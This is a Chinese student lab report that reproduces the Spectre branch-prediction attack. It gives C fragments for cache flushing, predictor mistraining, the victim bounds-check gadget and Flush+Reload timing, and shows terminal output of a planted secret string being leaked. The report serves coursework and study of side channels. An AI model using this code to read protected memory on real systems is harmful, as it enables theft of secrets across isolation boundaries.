Spectre 攻击验证

刘铠铭 2020030014 计14

实验原理

为了改善指令流水线的流程，CPU 会执行分支预测的优化技术。然而由于在预测失败时 CPU 不会恢复缓存状态，因此我们可以利用分支预测技术读取敏感信息，并且通过缓存侧信道泄露出来。

环境配置

1. WSL2 Ubuntu22.04LTS
2. Intel i7-10875H

实验流程

准备阶段

1. 确定边界外的 x 值，即 malicious_x，使得 spy[x] 可以将所需 byte 读入缓存中；
   - `size_t malicious_x = (size_t)(secret - (char *)spy);`
   - `malicious_x++`
2. 使 spy_size 和 cache_set 均不在 cache 中，使 x 在 cache 中；

```
for (int i = 0; i < 256; i++) {
    _mm_clflush(&cache_set[i * CACHE_LINE_SIZE]);
}
...
_mm_clflush(&spy_size);
```

3. 通过执行 5 次分支预测成功的情况（即 x < 16），使分支预测器总是会预测为 taken。

```
// 使用位运算，实现 x 训练 5 次，攻击 1 次
// 避免使用 if 导致 branch prediction
x = ((i % 6) - 1) & ~0xFFFF;
x = (x | (x >> 16));
x = training_x ^ (x & (malicious_x ^ training_x));

victim_function(x);
```

攻击阶段

1. 设置 x = malicious_x；
2. 执行 victim_function(x)，该过程中分支预测器会读取 secret byte 加入预先设定的缓存驱逐集 cache_set 中。

- 执行代码包含在【准备阶段-3】中，不再赘述；

- ```
  void victim_function(size_t x) {
      if (x < spy_size) {
          temp &=
              cache_set[spy[x] *
                        CACHE_LINE_SIZE]; // 将 cache_set 数组中的数据读取到缓存中
      }
  }
  ```

Flush & Reload 阶段

1. 遍历访问 0 - 255 个字节，通过计算读取时间来判断该字节的内容是否在 cache 中，若在则令 result[i]++;
   - ```
     for (int i = 0; i < 256; i++) {
         int mix_i = ((i * 167) + 13) &
                     255; // 乱序遍历 0-255， 防止 stride prediction

         addr = &cache_set[mix_i * CACHE_LINE_SIZE];
         time1 = __rdtscp(&junk);
         junk = *addr; // 访问 cache_set 数组中的数据
         time2 = __rdtscp(&junk) - time1;

         // 如果访问时间小于阈值，说明访问的数据在缓存中
         if (time2 <= CACHE_HIT_THRESHOLD && mix_i != spy[training_x]) {
             results[mix_i]++;
         }
     }
     ```
2. 重复上述内容 1000 次，选择最大的 result 值，其即为 secret byte。
   - ```
     int max = -1;
     for (int i = 0; i < 256; i++) {
         if (max < 0 || results[i] >= results[max]) {
             max = i;
         }
     }
     ```

实验结果
     ```

```
~/Project/NetworkSecure/SpectreAttack
❯ ls
Makefile  SpectreAttack.md  attack  attack.c

~/Project/NetworkSecure/SpectreAttack
❯ make
gcc -std=c99 attack.c -o attack

~/Project/NetworkSecure/SpectreAttack
❯ ./attack
The information to be stolen is 'You should not be able to read this.', address 0x564499201008
Reading 36 bytes:
Reading at 0xffffffffffffdfe8... 'Y', probability = 1.000000
Reading at 0xffffffffffffdfe9... 'o', probability = 1.000000
Reading at 0xffffffffffffdfea... 'u', probability = 0.999000
Reading at 0xffffffffffffdfeb... ' ', probability = 1.000000
Reading at 0xffffffffffffdfec... 's', probability = 1.000000
Reading at 0xffffffffffffdfed... 'h', probability = 0.997000
Reading at 0xffffffffffffdfee... 'o', probability = 1.000000
Reading at 0xffffffffffffdfef... 'u', probability = 1.000000
Reading at 0xffffffffffffdff0... 'l', probability = 1.000000
Reading at 0xffffffffffffdff1... 'd', probability = 0.998000
Reading at 0xffffffffffffdff2... ' ', probability = 0.999000
Reading at 0xffffffffffffdff3... 'n', probability = 0.999000
Reading at 0xffffffffffffdff4... 'o', probability = 0.999000
Reading at 0xffffffffffffdff5... 't', probability = 0.999000
Reading at 0xffffffffffffdff6... ' ', probability = 1.000000
Reading at 0xffffffffffffdff7... 'b', probability = 1.000000
Reading at 0xffffffffffffdff8... 'e', probability = 1.000000
Reading at 0xffffffffffffdff9... ' ', probability = 0.996000
Reading at 0xffffffffffffdffa... 'a', probability = 1.000000
Reading at 0xffffffffffffdffb... 'b', probability = 0.999000
Reading at 0xffffffffffffdffc... 'l', probability = 0.999000
Reading at 0xffffffffffffdffd... 'e', probability = 1.000000
Reading at 0xffffffffffffdffe... ' ', probability = 1.000000
Reading at 0xffffffffffffdfff... 't', probability = 1.000000
Reading at 0xfffffffffffe000... 'o', probability = 0.999000
Reading at 0xfffffffffffe001... ' ', probability = 1.000000
Reading at 0xfffffffffffe002... 'r', probability = 1.000000
Reading at 0xfffffffffffe003... 'e', probability = 0.999000
Reading at 0xfffffffffffe004... 'a', probability = 1.000000
Reading at 0xfffffffffffe005... 'd', probability = 1.000000
Reading at 0xfffffffffffe006... ' ', probability = 0.998000
Reading at 0xfffffffffffe007... 't', probability = 0.999000
Reading at 0xfffffffffffe008... 'h', probability = 0.999000
Reading at 0xfffffffffffe009... 'i', probability = 1.000000
Reading at 0xfffffffffffe00a... 's', probability = 0.999000
Reading at 0xfffffffffffe00b... '.', probability = 0.999000
The most probable secret is 'You should not be able to read this.'
```

待窃取信息为预先插入的 'You should not be able to read this.'，攻击程序可以通过 Spectre Attack 得到秘密信息，并输出每个字符的正确率。

影响因素分析

本实验存在失败情况，其失败可能是由于以下因素：

- 未创造合适的攻击条件（代码构建失败）：
  - 构建测信道攻击数组时每个“单位长度”小于一个片；
  - 代码被编译器优化，如 stride prediction 等。
- 处理器微代码更新；
- 硬件隔离技术或软件隔离技术。

在所述实验环境下，该实验均可完成攻击。

完整代码

完整代码请参考 https://cloud.tsinghua.edu.cn/d/1a96b198a593475abf7f/

参考资料

- 《网络空间安全原理与实践》
- Spectre Attack Example
- Meltdown and Spectre